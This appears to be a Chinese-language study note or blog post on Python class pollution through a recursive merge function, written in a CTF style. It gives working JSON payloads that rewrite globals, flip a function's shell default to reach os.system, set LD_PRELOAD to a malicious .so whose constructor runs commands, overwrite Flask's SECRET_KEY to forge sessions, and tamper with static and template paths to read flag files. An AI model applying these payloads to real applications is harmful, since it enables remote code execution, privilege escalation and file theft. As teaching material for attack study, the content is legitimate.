python原型链污染
不是所有类的属性都可以被污染的;
对所有类的方法无效
[!IMPORTANT]
——注:
我们只能更改对应区域的参数内容**(改属性、变量)**,并不能自己实现命令的执行;
要有其他区域来协助实现回显/执行。
合并函数 ——实现污染的一种方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
作用:差不多是ssti的方式,这个是以dict形式 包含来体现层次 ;
src为payload(即dict形式)
dst为对象
即可以修改自定义属性,也可以修改"__...__"的内置属性;
object的属性是无法被污染的;
目前Pydash模块中的set_和set_with函数有merge函数类似的类属性赋值逻辑,,能实现污染攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 a = 1 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def demo (): pass class A : def __init__ (self ): pass class B : classa = 2 instance = A() payload = { "__init__" :{ "__globals__" :{ "a" :4 , "B" :{ "classa" :5 } } } } print (B.classa)print (a)merge(payload, instance) print (B.classa)print (a)
就实现了对参数的更改
解释 __class__和__base__的利用
__class__:获取当前的类对象——操作的对象可以为类、实例对象
__base__:获取当前类的父类——操作对象只能是类;有多个时,只能获取第一个
__bases__:获取所有父类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 a = 1 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def demo (): pass class B : classa = 2 class A (B ): def __init__ (self ): pass instance = A() payload = { "__class__" :{ "__base__" :{ "classa" : 3 } } } print (B.classa)print (a)merge(payload, instance) print (B.classa)print (a)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 a = 1 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def demo (): pass class B : classa = 2 class C : classc = 3 class A (B, C): def __init__ (self ): pass instance = A() payload = { "__class__" :{ "__base__" :{ "classa" : 3 , "classc" :5 } } } print (B.classa)print (C.classc)print (a)merge(payload, instance) print (B.classa)print (C.classc)print (a)——最终,可以执行,但第二个父类的属性没有被修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 a = 1 def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) def demo(): pass class B: classa = 2 class C: classc = 3 class A(B, C):#存在多个父类 def __init__(self): pass instance = A() payload = { "__class__":{ "__bases__":{#用__bases__ "classa": 3, "classc":5 } } } print(B.classa) print(C.classc) print(a) merge(payload, instance) print(B.classa) print(C.classc) print(a) ——实现不了 ——但可以通过__bases[n]__获取对应的父类(小tip)
——获取k、v,进入递归
——发现现在dst是元组了,元组没有.get()方法——报错了
——三个父类,dst也是元组,即__bases__返回的是元组
__init__+__globals__利用前提:显示重写__init__方法
除了简单的继承关系,也可以通过__init__和__globals__属性来实现更多操作
原因:
python中所有用def定义的函数(包括类中实现的方法)在底层都是function类型的对象
function对象有一个特殊的属性:__globals__(字典,指向该函数定义时所在的全局命名空间 )
没有重写__init__的话,__init__来自object,是C实现的,没有__globals__属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 class b : def __init__ (): pass obj = b() payload = { "__init__" : { "__globals__" :{ "var_new" : 666 , "a_1" : { "answer_1" : "可实现多个属性操作" } } } } print (a_1.answer_1)merge(payload, obj) print (a_1.answer_1)print (var_new)print (obj.__init__.globals__){ "__init__" : { "__globals__" : { "sys" : { "modules" : { ... } } } } }
可以通过sys模块的modules来操作已经加载过的模块
而前提 :import sys先
1 2 3 4 5 6 7 8 9 10 11 12 13 14 print(obj.__init__.__globals__['sys'])#globals是字典,用[] #sys是模块对象,用. #print(obj.__init__.__globals__['sys'].modules) { "__init__" : { "__globals__" : { "sys" : { "modules" : { ... } } } } }
loader利用利用python中的加载器loader
为了实现模块加载而设计的,具体实现是在importlib
1 2 3 4 5 6 7 8 9 10 11 12 import importlibprint (importlib.__spec__.__init__.__globals__['sys' ])print (importlib.__spec__.loader.__init__.__globals__['sys' ])import numpyprint (numpy.__loader__.__init__.__globals__)
[!IMPORTANT]
__loader__后是加载器,__init__是python写的才有__globals__, 用c写的没有eg:os,sys,math,builtins,他们的都是<class '_frozen_importlib.BuiltinImporter'>,是c实现的
在 Python 中,**__spec__** 是一个模块对象的内置属性 (不是loader的),用于描述该模块是如何被导入系统(import system)加载的 。
同时 importlib 的所有 .py 文件都 import sys 了
对于python3来说除了在debug模式下的主文件中__loader__为None以外,正常执行的情况每个模块的__loader__属性均有一个对应的类
——即import出来的模块,都有对应的__loader__(个人理解)
总结: 优先用__spec__
参数篡改 __defaults__:存储普通关键字参数(keyword-only之前的)的默认值,类型是元组(tuple)
__kwdefaults__:存储关键字专属参数(keyword-only)的默认值,类型是字典(dict)
使用 * 作为分隔符,* 之后的参数就是 keyword-only 参数
kwd必须要带参传值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def func(a, b, *, c, d=10): ... func(1, 2, c=3)#对 func(1,2,3)#错 def func_a(a, b=2, c=3): ... # __defaults__ = (2, 3) def func_c(a, b=2, *, c=3): ... # __defaults__ = (2,) # __kwdfaults__ = {'c': 3} #这些属性可写
场景:
存在危险函数,默认下是安全的
1 2 3 4 5 def evilFunc(cmd, shell=False): if shell: os.system(cmd) #危险 else: print(cmd) #安全
通过污染来实现RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 # 原函数:evilFunc(cmd, shell=False) # shell 是第二个参数 → 在 __defaults__ 中是 (False,) # 污染 payload: payload = { "__init__": { "__globals__": { "evilFunc": { "__defaults__": (True,) # 注意:必须是元组! } } } }
[!WARNING]
但 JSON 不支持元组 (POST上传)!所以需要后端能解析出 tuple(比如用 ast.literal_eval 或自定义解析)。如果后端直接用 json.loads,则 (True,) 会被转成 [True](list),赋值会失败或报错。
同理,
1 2 3 4 5 6 7 8 9 10 11 12 13 def evilFunc(cmd, *, shell=False): ... # 污染 payload: payload = { "__init__": { "__globals__": { "evilFunc": { "__kwdefaults__": {"shell": True} #JSON原生支持字典 } } } }
os.environ污染(环境变量劫持)
原理
os.environ是os._Environ对象(类似dict),存储当前进程的环境变量
1 2 3 4 5 6 7 8 9 10 11 { "__init__": { "__globals__": { "os": { "environ": { "LD_PRELOAD": "/app/exp.so" } } } } }
后面用os.system("id")会加载恶意.so,实现RCE
LD_PRELOAD LD_PRELOAD——一个Linux环境变量,用于在程序运行时优先加载指定的共享库 (.so文件),甚至在标准库前
即,设置后,任何新启动的程序(/bin/id)会先加载/app/exp.so
os.system("id")启动了一个新进程
.so——动态链接器,制造恶意.so,构造函数中执行任意代码==>RCE
1 2 3 4 5 6 7 8 9 10 // exp.c #include <stdlib.h> __attribute__((constructor)) void init() { system("id > /tmp/pwned.txt"); } //编译 gcc -shared -fPIC -o exp.so exp.c (注意,上传给Linux的话,要在Linux上进行编译)
FlaskSECRET_KEY污染 Session伪造
原理:
Flask使用SECRET_KEY对session进行签名
知道的话,可以伪造任意session(登录、权限)
1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" : "attacker_controlled" } } } } }
污染后,攻击者可以本地生成合法session,实现权限提升
_got_first_request污染静态文件目录穿越 _static_url_path
原理
Flask默认静态文件路径为./static
_static_url_path控制该前缀对应的文件系统路径
代码 1 2 3 4 5 6 7 8 9 { "__init__" : { "__globals__" : { "app" : { "_static_url_path" : "." } } } }
就有http://host/static/flag==>http://host/static/flag
模板目录穿透 os.path.pardir污染
原理:
Jinja2在split_template_path()中检查路径是否包含..(即os.path.pardir)
如果匹配,报错TemplateNotFound防止目录穿透
os.path.pardir可改
1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "os" : { "path" : { "pardir" : "!" } } } } }
访问/../../../flag时,不会被阻拦,实现读取
模板语法限制绕过
Jinjia默认只识别{{flag}}
动态改语法标识符
1 2 3 4 5 6 7 8 9 10 11 12 { "__init__" : { "__globals__" : { "app" : { "jinja_env" : { "variable_start_string" : "[[" , "variable_end_string" : "]]" } } } } }
即禁用了{{}},现在可以用[[]]来操作了
——注意:由于已经存在污染前生成的缓存了,所以,是要重启容器,后,在污染后再访问模板